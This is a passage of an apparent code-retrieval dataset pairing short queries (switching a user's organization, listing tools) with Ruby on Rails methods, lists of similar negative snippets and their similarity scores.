that should never happen - print out full connection issues\n @logger.error(\n \"An unknown error occurred sending a bulk request to Elasticsearch (will retry indefinitely)\",\n message: e.message, exception: e.class, backtrace: e.backtrace\n )\n @logger.debug? && @logger.debug(\"Failed actions for last bad bulk request\", :actions => actions)\n\n sleep_interval = sleep_for_interval(sleep_interval)\n @bulk_request_metrics.increment(:failures)\n retry unless @stopping.true?\n end\n end", "def _perform(&block)\n\n begin\n\n r = validate\n return r unless r.success?\n\n yield if block_given?\n\n mark_contract_event_as_processed\n\n success\n\n rescue StandardError => se\n\n mark_contract_event_as_failed\n\n return exception_with_data(\n se,\n 'cem_b_1',\n 'exception in contract event management: ' + se.message,\n 'Something went wrong.',\n GlobalConstant::ErrorAction.default,\n {contract_event_obj_id: @contract_event_obj.id}\n )\n\n end\n\n end", "def run_action(msg)\n ui.info(\"#{msg}... \", :nonewline)\n begin\n result = yield\n ui.puts ui.color(\"complete!\", :green, :bold)\n if result\n ui.puts \"---> Results:\"\n case result\n when Hash\n result.each do |k, v|\n ui.puts \" \" << ui.color(\"#{k}: \", :bold) << v\n end\n else\n ui.puts result\n end\n end\n rescue\n ui.puts ui.color(\"error!\", :red, :bold)\n raise\n end\n true\n end", "def rescue_action_locally(exception)\n rescue_action_in_public(exception)\n end", "def run_actions\n catch_exceptions do\n @success = if block_given?\n result = yield\n actions.each { |action| results[action] = result }\n !!result\n else\n actions.compact.each { |action| !skip_actions && (results[action] = object.send(action)) }\n results.values.all?\n end\n end\n end" ]
[ "0.70283866", "0.7003629", "0.68131447", "0.68131447", "0.68131447", "0.68131447", "0.67721075", "0.64510566", "0.6357651", "0.6331432", "0.62867564", "0.62455493", "0.6214181", "0.62081003", "0.61880136", "0.6111092", "0.60949343", "0.6089952", "0.6068404", "0.60583216", "0.5972053", "0.5965951", "0.5914", "0.5891609", "0.5824985", "0.58176816", "0.5816543", "0.57913643", "0.5790208", "0.5761954", "0.57500017", "0.567782", "0.56767553", "0.5666298", "0.566155", "0.566155", "0.56325096", "0.56246567", "0.5603544", "0.5595688", "0.55928487", "0.55738956", "0.5563277", "0.5562133", "0.55571514", "0.55561954", "0.5542551", "0.55420727", "0.5530742", "0.5530742", "0.5526693", "0.55114657", "0.55084926", "0.54933363", "0.5479182", "0.546196", "0.5454615", "0.5449817", "0.5443433", "0.54395914", "0.5426898", "0.54261327", "0.54076415", "0.5404611", "0.53955364", "0.53954816", "0.5384585", "0.53817314", "0.5380024", "0.5369179", "0.53668404", "0.53665257", "0.5365102", "0.5352032", "0.53230333", "0.53211147", "0.5318109", "0.529405", "0.5293323", "0.52928346", "0.52818525", "0.5280606", "0.5280205", "0.52673227", "0.5264032", "0.5250658", "0.5249832", "0.5240485", "0.5234616", "0.523398", "0.52321965", "0.52303874", "0.522986", "0.52190393", "0.5214261", "0.52113116", "0.5197543", "0.51941246", "0.51929456", "0.51892495" ]
0.6701129
7
Switch user context for signed in user
def switch_current_user_organization( organization ) raise ArgumentError.new(format('wrong type. \'organization\' must be an String, given \'%s\'', organization.class.to_s)) unless( organization.is_a?(String) ) raise ArgumentError.new('missing \'organization\'') if( organization.size.zero? ) org = organization_by_name( organization ) return { 'status' => 404, 'message' => format('Organization \'%s\' not found', organization) } if( org.nil? || org.dig('status').to_i != 200 ) org_id = org.dig('id') endpoint = format( '/api/user/using/%d', org_id ) @logger.debug("Switching current user to Organization #{organization} (GET #{endpoint})") if @debug post( endpoint, {} ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def simple_sign_in(user)\n\t\tself.current_user = user\n\tend", "def sign_in (user)\n current_user = user\n end", "def context; { user: current_user } end", "def logged_in_user\n if user_signed_in? then\n \n else\n redirect_to root_path\n end \n \n end", "def switch\n authorize!(:manage, :all)\n user = User.find_by(login: params[:login].upcase)\n if user\n session[:original_user_id] = session[:user_id]\n session[:user_id] = user.id\n redirect_to root_url, notice: \"Sie sind nun der Nutzer mit dem Login #{user.login}.\"\n else\n redirect_to root_url, notice: \"Der Nutzer existiert nicht im System.\"\n end\n end", "def context\n { current_user: current_user }\n end", "def set_current_user\n AuthorizationData.current_user = current_user\n yield\n ensure\n AuthorizationData.current_user = nil\n end", "def switch_user\n session[:user_id] = params[:user_id]\n redirect_to \"/admin/account\"\n end", "def set_user\n UserInfo.current_user = session[:user]\n end", "def sign_in user\n \t# takes the user object and sets session data using said object\n \tsession[:user_id] = user.id\n \tself.current_user = user\n end", "def sign_in_user user\n @request.env[\"devise.mapping\"] = Devise.mappings[:user]\n sign_in user\n end", "def sign_in(user)\n login_as user\n end", "def set_user_context(options)\n Raven.user_context(options)\n end", "def auth_user(user)\n RequestStore[:current_user] = user\n # https://github.com/department-of-veterans-affairs/caseflow/wiki/Debugging-Tips#authenticating-in-the-rails-console\n User.authentication_service.user_session = User.authentication_service.get_user_session(user.id)\nend", "def set_current_user\n if logged_in?\n @current_user = current_user\n end\n end", "def sign_in!(user)\n user.is_a?(Account) ? self.current_account = user : self.current_user = user\n end", "def change\n @user = current_user\n end", "def set_user\n @user = current_user \n end", "def set_current_user\n \t\tif session[:user_id]\n \t\t\tCurrent.user = User.find_by(id: session[:user_id])\n \t\tend\n \tend", "def user_context(options = nil)\n original_user_context = context.user\n\n if options\n context.user = context.user.merge(options)\n else\n context.user = {}\n end\n\n yield if block_given?\n context.user\n ensure\n context.user = original_user_context if block_given?\n end", "def set_user\r\n @user = current_user\r\n end", "def set_current_user\n if logged_in?\n User.current_user = current_user\n else\n User.current_user = nil\n end\n end", "def set_user_as_current_user\n @user = @current_user\n end", "def set_current_user(user)\n if user.nil?\n session[:authenticated] = false\n session[:user_id] = 0\n else\n session[:authenticated] = true\n session[:user_id] = user.id\n end\n end", "def set_current_user\n User.current = current_user\n end", "def set_current_user\n @user = current_user\n end", "def set_current_user\n @user = current_user\n end", "def set_current_user\n @user = current_user\n end", "def set_current_user\n @user = current_user\n end", "def set_current_user\n @user = current_user\n end", "def set_current_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_current_user\n User.current = current_user\n end", "def auth_user\n redirect_to new_user_session_url unless user_signed_in?\n end", "def setup_current_user\n @current_user = User.find(session[:user_id]) unless session[:user_id].nil?\n end", "def set_current_user\n User.current = current_user\n end", "def set_current_user\n User.current = current_user\n end", "def set_user\n @user = User.find_by_id(params[:id])\n require_same_user\n #redirect_to signin_path unless @user #for a route that does not exist redirect it back to home page\n end", "def sign_in(new_user)\n session['current_user_id'] = new_user.id\n @current_user = nil\n current_user\n end", "def defer_user\n\t\tif(current_user)\n\t\t\tredirect_to(user_path(current_user))\n\t\tend\n\tend", "def sign_in(user)\n @current_user = user\n session[:user_id] = user.try(:id)\n end", "def set_current_user(user)\n if user.new_record?\n set_unlogged_in_user(user)\n else\n set_logged_in_user(user)\n end\n end", "def set_current_user(user)\n session[:user_id] = user.try :id\n end", "def log_in_as(user)\n session[:regular_user_id] = user.id\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def set_user\n @user = current_user\n end", "def when_current_user_is(user, options = {})\n current_user =\n case user\n when Symbol\n create :user, user\n when User\n user\n when nil\n # need spire for requests but current_user should still be nil\n session[:spire] = build(:user).spire\n nil\n else raise ArgumentError, 'Invalid user type'\n end\n if options.key? :view\n assign :current_user, current_user\n else session[:user_id] = current_user.try :id\n end\nend", "def current_user\n super\n if @current_user\n return @current_user\n end\n\n authenticate_user!\n @current_user\n end", "def set_user\n begin\n if user_signed_in?\n User.send :class_variable_set, :@@current, current_user\n end\n rescue Exception => exception\n logger.error \"Could not set User.current. Error was #{exception.to_s}\"\n end\n end", "def set_current_user\n User.current_user = current_user\n end", "def set_logged_in_user\n @logged_in_user = logged_in_user\n end", "def sign_in(user)\n session[:user_id] = user.id\n end", "def sign_in(user)\n session[:user_id] = user.id\n end", "def set_user_session\n UserSession.current_user = current_user\n end", "def set_current_user\n if session[:user_id] \n @current_user = User.find(session[:user_id])\n end \n end", "def set_current_user\n current_user\n authorize\n end", "def set_user\n @user = session[:current_user]\n unless @user\n redirect_to home_path\n end\n end", "def set_current_user_for_auth\n Authorization.current_user = current_user\n end", "def sign_in_user user\n user.fetch_pages\n sign_in_and_redirect user, :event => :authentication\n user\n end", "def set_current_user\n if logged_in?\n whodat = send(Lockdown::Configuration.who_did_it)\n Thread.current[:who_did_it] = whodat\n end\n end", "def signin(user)\n session[:user_id] = user.id\n end", "def set_current_user\n @current_user = User.find_by(id: session[:user_id])\n end", "def user_log_in(user)\n session[:user_id] = user.id\n end", "def set_user\n\t\t@active = \"user\"\n\t\t@user = current_user\n\tend", "def set_user\n @user = @current_user\n end", "def loggedIn\n @user = current_user\nend", "def log_in(user)\n old_scoped_user = @@scoped_user\n @@scoped_user = user\n return if !block_given?\n yield\n @@scoped_user = old_scoped_user\n end", "def sign_in(user)\n session[:user_id] = user.id\n end", "def sign_in(user)\n session[:user_id] = user.id\n end", "def sign_in(user)\n session[:user_id] = user.id\n end", "def sign_in(user)\n session[:user_id] = user.id\n end", "def alter_current_user(&block)\n user = current_user\n user = User.find(user.id) if user.frozen? # Since we're modifying it, we can't use the one from memcached.\n yield(user)\n user.save if logged_in?\n $CACHE.delete(\"users/#{session[:user_id]}\")\n set_current_user(user)\n user\n end", "def set_user\n authorize\n @user = current_user\n end", "def current_user( user = :get )\n if( user == :get )\n session[:user] ||= guest_account\n else\n session[:user] = user\n end\n end" ]
[ "0.71860975", "0.71648294", "0.71354735", "0.6875414", "0.6845422", "0.68272215", "0.681955", "0.6813475", "0.6796018", "0.6779868", "0.67693055", "0.6747518", "0.67328167", "0.6721889", "0.6714388", "0.66534454", "0.66522366", "0.6637721", "0.66243404", "0.66241854", "0.6616315", "0.66129375", "0.6609093", "0.6606526", "0.65903884", "0.6580098", "0.6580098", "0.6580098", "0.6580098", "0.657905", "0.657905", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65755266", "0.65616226", "0.65577537", "0.65544224", "0.6546251", "0.6545417", "0.6544842", "0.6542712", "0.653809", "0.65352637", "0.651976", "0.65070486", "0.6505168", "0.65013295", "0.65013295", "0.65013295", "0.65013295", "0.65013295", "0.65013295", "0.65013295", "0.65013295", "0.65013295", "0.64997405", "0.6490949", "0.6485645", "0.64780366", "0.6476856", "0.6470712", "0.6469367", "0.64655304", "0.64651066", "0.64529234", "0.6448183", "0.6445989", "0.6444941", "0.644067", "0.6438968", "0.6429627", "0.6423654", "0.6420722", "0.6417737", "0.6407916", "0.6394231", "0.63903356", "0.63903356", "0.63903356", "0.63903356", "0.6386842", "0.63848656", "0.638466" ]
0.0
-1
Organisations of the actual User
def current_user_oganizations endpoint = '/api/user/orgs' @logger.debug("Getting current user organizations (GET #{endpoint})") if @debug get(endpoint) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_organizations\r\n Organization.organizations_by_user(self)\r\n end", "def orgs\n client.organizations\n end", "def organisers\n org = []\n organiser_ids = self.listings.map {|listing| listing.organiser_id}\n User.all.select do |user|\n if organiser_ids.any?(user.id)\n org << user\n end\n end\n org.uniq\n end", "def organizations_by_user(user)\n @organizations.values.select { |org| org.is_member?(user) }\n end", "def org_users\n synchronize { return @org_users if @org_users }\n\n users = {}\n orgs = settings.github_orgs || []\n orgs.each do |org|\n octokit.organization_members(org).each do |user|\n if users.has_key?(user.login)\n users[user.login][:orgs] << org\n else\n users[user.login] = user.to_h\n users[user.login][:mfa_enabled] = true\n users[user.login][:orgs] = [org]\n end\n end\n end\n orgs.each do |org|\n octokit.organization_members(org, filter: '2fa_disabled').each do |user|\n users[user.login][:mfa_enabled] = false\n end\n end\n\n synchronize { @org_users = users }\n end", "def organisations\n uri = self.uri\n query = Ruta::Sparql.select.where(\n [:org, RDF.type, Ruta::Class.organisation],\n [:org, RDF::FOAF.member, :mir],\n [:mir, Ruta::Property.has_member, uri]\n )\n orgs = []\n query.each_solution { |sol| orgs.push(sol.org.as(Organisation)) }\n orgs\n end", "def set_visible_orgs\n @visible_orgs ||= Organization.find_by_user(logged_in_user.username)\n end", "def own_organizations\n api.org_memberships.select { |org| org[:role] == \"admin\"}\n end", "def orgs\n @orgs ||= begin\n client.organizations.map(&:login)\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n []\n end\n end", "def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end", "def general_user_organizations_with_protocols\n Protocol.joins(:project_roles).where(project_roles: { identity_id: @id } ).where.not(project_roles: { project_rights: 'none' }).map(&:organizations).flatten.uniq\n end", "def all_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper(false)).flatten\n end", "def users\n runner_users + corporation_users\n end", "def organizations\n self.organization_ids.map do |uid|\n MnoEnterprise::Organization.find_by(uid: uid)\n end\n end", "def active_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper).flatten\n end", "def owners\n get_user_with_role(:owner)\n end", "def ensure_orgs(user)\n retrieve_orgs(user).map{|o| save{ensure_participation(user, o['login'])}}.select{|x| !x.nil?}\n end", "def orgs(enterprise = 'default')\n @api.orgs enterprise\n end", "def index\n # @organisations = current_user.organisations.order(:name)\n @organisations = Organisation.order(:name)\n end", "def list_org\n @users = User.where(organization: true)\n\n render \"list_org\"\n end", "def orgs\n return @orgs if defined?(@orgs)\n\n @orgs = []\n orgs_from_annotations.each { |org| @orgs << org unless org_found(@orgs, org) }\n orgs_from_guidance_groups.each { |org| @orgs << org unless org_found(@orgs, org) }\n @orgs\n end", "def find_organizations\n Organization.all\n end", "def index\n @user_organizations = UserOrganization.all\n end", "def managed_organizations\n if has_role?(:org_admin)\n org_ids = roles.where(name: Role::NAMES[:org_admin]).first.ref_ids\n Organization.in(id: org_ids)\n else\n []\n end\n end", "def organizations_in_coalition(coalition)\n orgs_by_coalition_id[coalition.id] || []\n end", "def autonomous_system_organization; end", "def autonomous_system_organization; end", "def autonomous_system_organization; end", "def list\n @connection.get('/user/orgs').map do |org_data|\n GitHubApi::Org.new(self, org_data)\n end\n end", "def connected_organizations\n return @connected_organizations\n end", "def admin_organizations_with_protocols\n Organization.authorized_for_identity(@id).joins(:sub_service_requests)\n end", "def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end", "def admin_organization_stats\n get_admin_stats \"orgs\"\n end", "def add_current_user_to_organizations\n @users_github_organizations.each do |github_org|\n user_classrooms = Organization.includes(:users).where(github_id: github_org[:github_id])\n\n # Iterate over each classroom associate with this github organization\n user_classrooms.map do |classroom|\n create_user_organization_access(classroom) unless classroom.users.include?(current_user)\n end\n end\n end", "def app_owners_for_select\n User.real.map { |u| [u.select_text, u.id] if u.org }.compact\n end", "def orgs\n @orgs ||= ENV[\"GITHUB_ORGS\"].split(/, ?/).map { |o| Organization.new(o) }\n end", "def associated_organization\n user_sports.first.user.organization \n end", "def current_organization_users\n endpoint = '/api/org/users'\n @logger.debug(\"Getting organization users (GET #{endpoint})\") if @debug\n get(endpoint)\n end", "def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end", "def get_organization(course)\n owners = course[\"owners\"]\n owners_array = []\n\n owners.each do |owner|\n owner[\"homepage_url\"].nil? ? url = owner[\"marketing_url\"] : url = owner[\"homepage_url\"]\n organization_hash = {}\n organization_hash[\"name\"] = owner[\"name\"]\n organization_hash[\"description\"] = owner[\"description\"]\n organization_hash[\"img\"] = owner[\"logo_image_url\"]\n organization_hash[\"url\"] = url\n owners_array << organization_hash\n end\n organization_hash = {}\n organization_hash[\"organizers\"] = owners_array\n organization_hash\n end", "def get_user_organizations(user_id)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n\n get \"#{users_path}/#{user_id}/organizations\"\n end", "def all_groups\n groups + [organization]\n end", "def get_organizations\n begin\n github_api_setup.organizations.list\n rescue Exception => e\n logger.error \"Github #get_organizations error #{e}\"\n end\n end", "def organization; end", "def organization; end", "def organization; end", "def users\n if design.only_unblinded\n project.unblinded_members_for_site(subject.site)\n else\n project.members_for_site(subject.site)\n end\n end", "def other_administrators\n Administrator.where.not(['id = ? or is_super = ?',self.id, true]).order(:organisation).map {\n |t| ['%{org}: %{lname} %{name}'%{org: t.organisation, lname: t.info.last_name, name: t.info.name},t.id]\n }\n end", "def organizations(org_list = nil)\n if org_list\n return org_list if dashboard_type == 'template'\n org_list.to_a.select { |e| organization_ids.include?(e.uid) || organization_ids.include?(e.id) }\n else\n MnoEnterprise::Organization.where('uid.in' => organization_ids).to_a\n end\n end", "def all_users\n self.users +\n User.where(institution: self.institution).\n select{ |u| u.belongs_to_user_group?(self) }\n end", "def users_and_groups\n return @users_and_groups\n end", "def make_owner(user, org)\n associate_in_groups(user, org, [\"admins\", \"billing-admins\", \"users\"])\n end", "def org\n @user = User.find(session[:user_id])\n @organizers = Organizer.find(:all, :conditions => ['user_id=?', session[:user_id]])\n @org = Organizer.new\n @events = nil\n @site = SiteSetting.find(:first)\n render :template => 'users/profile'\n end", "def get_organizations\n org_references =\n locations.each_with_object({}) do |loc, acc|\n reference = loc.resource.managingOrganization.reference\n org_id = reference.match(ID_MATCHER)[1]\n\n acc[org_id] ||= []\n acc[org_id] << loc\n end\n\n facility_identifiers = org_references&.keys&.join(',')\n org_response = organization_service.search(_id: facility_identifiers, _count: '100')\n\n org_response&.resource&.entry\n end", "def organizations\n teams.map do |team|\n team.organization\n end.compact.uniq\n end", "def owner_and_coowners\n vals = Role.access_values_for(:creator).concat(Role.access_values_for(:administrator))\n User.joins(:roles).where(\"roles.plan_id = ? AND roles.access IN (?)\", self.id, vals)\n end", "def organizations_in_vercinity\n\n\tend", "def connected_organizations=(value)\n @connected_organizations = value\n end", "def user_or_org\n self.is_user? ? 'user' : 'organization'\n end", "def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end", "def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end", "def organization\n _get(\"/account/organization\") { |json| json }\n end", "def organizations\n orgs = []\n Organization.all.each do |o|\n orgs.push(Api::V1::OrganizationSerializer.new(o, @instance_options).attributes)\n end\n orgs\n end", "def allowed_types\n\treturn [Organization]\nend", "def all_principals\n (User.all + UserGroup.where_unit(unit).not(self)).sort { |a, b| a.name.downcase <=> b.name.downcase }\n end", "def orgs(params = {})\n params.merge!(key: 'orgs')\n objects_from_response(Code42::Org, :get, 'org', params)\n end", "def authenticate_user!(options={})\n super(options)\n @organisation ||= current_user.organisation\n Organisation.current_id = @organisation.present? ? @organisation.subtree.map(&:id) : nil\n end", "def owners\n self.authors.collect(&:user)\n end", "def index\n @admins_organizations = Organization.all\n end", "def set_owner_member\n self.organizations << self.owner\n end", "def organization\n self[:O]\n end", "def all_users\r\n result = []\r\n\r\n self.descendants_and_self.each do |role|\r\n if role == self\r\n result << role.users \r\n else\r\n result << role.all_users\r\n end\r\n end\r\n self.all_groups.each { |group| result << group.all_users }\r\n result.flatten!\r\n result.uniq!\r\n return result\r\n end", "def allowed_types\n [Organization]\nend", "def users\n company_ids = [self.id]\n company_ids += advisor_company_ids if advised?\n\n user_ids = UserAffiliation.where(:company_id.in => company_ids).with_access.only(:user_id).map(&:user_id)\n User.where(:id.in => user_ids).order_by(created_at: :asc)\n end", "def store_orgs_needed\n\n github = Octokit::Client.new access_token: current_user.oauth_token\n current_user_temp = current_user\n #if not exist an 'user organization' on db save it\n username = github.login\n if !Organization.where(name: username).any?\n org = Organization.new\n org.name = username\n org.save\n current_user_temp.organizations << org\n current_user_temp.save!\n end\n\n #Save missing organizations for the user logged in\n orgs = github.organizations #Get all organizations of the user\n\n #For each org..\n orgs.each do |org_t|\n name_org = org_t.login\n\n #Check if its already in the database\n #If it exists should we edited? (modify code to allow this)\n if !Organization.exists?(github_id: org_t.id)\n\n #Get detail info of specific org from GITHUB\n org_detail = github.org name_org\n\n #Create org\n temp_org = Organization.new\n temp_org.github_id = org_detail.id\n temp_org.url = org_detail.url\n temp_org.name = org_detail.login\n temp_org.company = org_detail.company\n temp_org.public_repos = org_detail.public_repos.to_i\n temp_org.private_repos = org_detail.total_private_repos.to_i\n temp_org.total_repos = org_detail.public_repos.to_i + org_detail.total_private_repos.to_i\n temp_org.collaborators = org_detail.collaborators.to_i\n\n #Save org\n temp_org.save!\n\n #Save organization into user relation\n current_user_temp.organizations << temp_org\n current_user_temp.save!\n\n elsif !current_user_temp.organizations.find_by_github_id(org_t.id) #Check if user already belongs to organization, if not add him to it\n\n current_user_temp.organizations << Organization.find_by_github_id(org_t.id) #Add to current user that org\n current_user_temp.save!\n end\n end\n\n end", "def index\n @organization = current_user.organization\n @merits = @organization.merits\n end", "def organizations\n positions.collect{|p| p.organization}.uniq.compact\n end", "def read_all(user_guid)\n organizations_list = []\n orgs_list = @client.organizations\n\n orgs_list.each do |org|\n owner = org.managers.find { |manager| manager.guid == user_guid }\n billing = org.billing_managers.find { |billing| billing.guid == user_guid }\n auditor = org.auditors.find { |auditor| auditor.guid == user_guid }\n\n if owner || billing || auditor\n organizations_list << Organization.new(org.name, 0, org.users.count, org.guid, false)\n end\n end\n\n organizations_list.sort! { |first_org, second_org| first_org.name.downcase <=> second_org.name.downcase }\n end", "def read_owners(config, org_guid)\n user_setup_obj = UsersSetup.new(config)\n\n users_list = []\n users = @client.organization(org_guid).managers\n\n users.each do |user|\n user_guid = user.guid\n username = user_setup_obj.get_username_from_guid(user_guid)\n users_list << Users::User.new(username, 'owner', false, user_guid)\n end\n\n users_list\n end", "def org\n user_id.present? ? User.includes(:org).find_by(id: user_id).org : nil\n end", "def index\n redirect_to :root unless current_user.is_admin?\n @organizations = Organization.all\n end", "def get_user_github_organizations(github_orgs_url)\n uri = URI.parse(github_orgs_url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == 'https'\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.request(Net::HTTP::Get.new(uri.request_uri))\n\n user_organizations = JSON.parse(response.body)\n user_organizations.map { |o| o['login'] }\n end", "def org_repos\n @org_repos ||= (\n talk 'org repos'\n logins = orgs.map { |org| org[:login] }\n\n logins.map do |login|\n talk \"repos for #{login}\"\n client.organization_repositories login.to_s\n end.flatten\n )\n end", "def organization\n if documentable.respond_to? :organization\n documentable.organization\n else\n creator.organization\n end\n end", "def users\n Section.find_roles.pluck(:name).inject(Array.new) do |result, role|\n result += User.with_role(role, self)\n end.uniq\n end", "def for(home_people)\n split_instant_owner_groups_from_considerations(home_people)\n include_non_accounted_for_considerations\n return_the_unique_owner_groupings\n end", "def viewable_by(user, organization)\n group_ids = user.organization_group_ids(organization)\n joined = all.left_joins(roles: %i[users_roles groups_roles])\n joined.where(UsersRole.arel_table[:user_id].eq(user.id)).or(\n joined.where(GroupsRole.arel_table[:group_id].in(group_ids)),\n ).distinct # because of left joins\n end", "def involved_people\n # [self.user, self.answerers, self.commenters].flatten.uniq\n [self.user].flatten.uniq\n end", "def collaborators\n self.users.where(\"project_memberships.active = ?\", true)\n end", "def viewable_users\n @viewable_users ||= (controllable_users + request_applicants + controllable_users.map{|uu|uu.request_applicants}).flatten.uniq\n end", "def test_user_organization_creating\n user = User.named(\"me\")\n member = User.named(\"you\")\n org1 = Organization.named(\"org1\")\n org2 = Organization.named(\"org2\")\n\n org1.add_admin(user)\n\n assert(user.is_admin_of?(org1), \"failed adding admin\")\n assert(!user.is_admin_of?(org2), \"admin in wrong organization\")\n\n org1.add_member(member)\n org2.add_member(member)\n\n assert(member.is_member_of?(org1), \"failed adding member\")\n assert_equal(member.organizations, [org1, org2], \"is in wrong organization\")\n end", "def center_and_teams()\n if(self.has_access?(:superadmin))\n self.centers.inject([]) do |col, c|\n col << c\n c.teams.map {|t| col << t }\n col\n end\n else\n groups = ([self.center] + self.groups).uniq\n end\n end", "def related_organisms\n organisms = related_assays.collect{|a| a.organisms}.flatten.uniq.compact\n organisms = organisms | related_models.collect{|m| m.organism}.uniq.compact\n organisms\n end", "def approvable_users\n @approvable_users ||= (controllable_users + editable_request_applicants + controllable_users.map{|uu|uu.editable_request_applicants}).flatten.uniq\n end", "def assignable_users\n users = project.assignable_users\n users << author if author\n users.uniq.sort\n end", "def organization_names\n organizations.pluck(:name).join(', ')\n end", "def organization_names\n organizations.pluck(:name).join(', ')\n end", "def contributors(exact = false)\n acl.get_users_with_role(AlbumACL::CONTRIBUTOR_ROLE, exact)\n end", "def authors\n space_users.all({ :role.not => :member }).collect { |m| m.user }\n end", "def associated_users(permission: nil)\n owner = self.user\n shares = permission.present? ? self.study_shares.where(permission: permission) : self.study_shares\n share_users = shares.map { |share| User.find_by(email: /#{share.email}/i) }.compact\n [owner] + share_users\n end" ]
[ "0.74862057", "0.7191986", "0.7150066", "0.7084306", "0.7022553", "0.7004468", "0.69923824", "0.6948108", "0.69381547", "0.6870176", "0.6830689", "0.6786934", "0.67185366", "0.66905594", "0.66180474", "0.65657544", "0.652037", "0.65104777", "0.6438416", "0.6407909", "0.6406783", "0.64016044", "0.63672656", "0.6367024", "0.63162357", "0.6305895", "0.6305895", "0.6305895", "0.62947947", "0.6293856", "0.6269287", "0.6269274", "0.6236769", "0.622956", "0.6224342", "0.6212932", "0.62099546", "0.61976707", "0.6175557", "0.6174583", "0.61595494", "0.61450666", "0.61346954", "0.6133243", "0.6133243", "0.6133243", "0.6130119", "0.612026", "0.6118234", "0.6114043", "0.611304", "0.6096165", "0.60889065", "0.6088168", "0.60876465", "0.6084787", "0.60789615", "0.60663956", "0.6057228", "0.6047859", "0.6047859", "0.6046215", "0.6036771", "0.6030669", "0.6027021", "0.6024", "0.6022681", "0.6019043", "0.6014302", "0.60064095", "0.60011774", "0.6001163", "0.5996777", "0.59818316", "0.59765667", "0.59643364", "0.5964075", "0.5963535", "0.59591115", "0.5940331", "0.5937516", "0.5933445", "0.592708", "0.59209883", "0.5916676", "0.5912443", "0.5911279", "0.59029216", "0.5901008", "0.5893815", "0.5889107", "0.5887827", "0.58783436", "0.5876717", "0.5873857", "0.587063", "0.587063", "0.58705455", "0.5857651", "0.58534575" ]
0.6924791
9
GET /tools GET /tools.json
def index @tools = Tool.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @tools = Tool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end", "def show\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def show\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def tools_all\n @work_order_tools = WorkOrderTool.by_id\n render json: serialized_work_order_tools(@work_order_tools)\n end", "def index\n if params.has_key?(:tag)\n if !tool_search.empty?\n @tools = tool_search.paginate(page: params[:page], per_page: 10)\n json_response(@tools)\n else\n json_response([], :not_found)\n end\n else\n @tools = current_user.tools.paginate(page: params[:page], per_page: 10)\n json_response(@tools)\n end\n end", "def index\n @tools = Tool.all\n\n end", "def show\n @breadcrumb = 'read'\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def show\n @tools = @tool_type.tools\n end", "def index\n @tools = Tool.just_tools.by_barcode.paginate(:page => params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end", "def index\n # Grabs the relevant tools from the database by checking for the availability relation status.\n @tools = Tool.where(availability: true)\n end", "def index\n @user = User.find(params[:id])\n @tool = Tool.find(@user.tool_id)\n @tools = Tool.all\n end", "def index\n @current_params = tool_index_params\n\n @tools = if @current_params[:order] == \"created_at\"\n Tool.order(:created_at)\n else\n Tool.order(:name)\n end\n\n if @current_params[:q].present?\n @tools = @tools.search(@current_params[:q])\n end\n\n if Tool::ALLOWED_TYPES.include?(@current_params[:type])\n @tools = @tools.where(type: @current_params[:type])\n end\n\n @tools = @tools.page(@current_params[:page]).per(20)\n\n respond_to do |format|\n format.html\n format.atom\n end\n end", "def get_tools\n @site_data[\"site\"][\"node\"].each do | node |\n return node[\"tools\"] if node[\"node_name\"] == @node_name\n end\n return []\n end", "def get_tool\n @tool = Tool.find(params[:tool_id])\n end", "def get_org_tools_info(include_restricted_tools = nil, bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/tools/org/?\"\n path += \"includeRestrictedTools=#{includeRestrictedTools}&\" unless 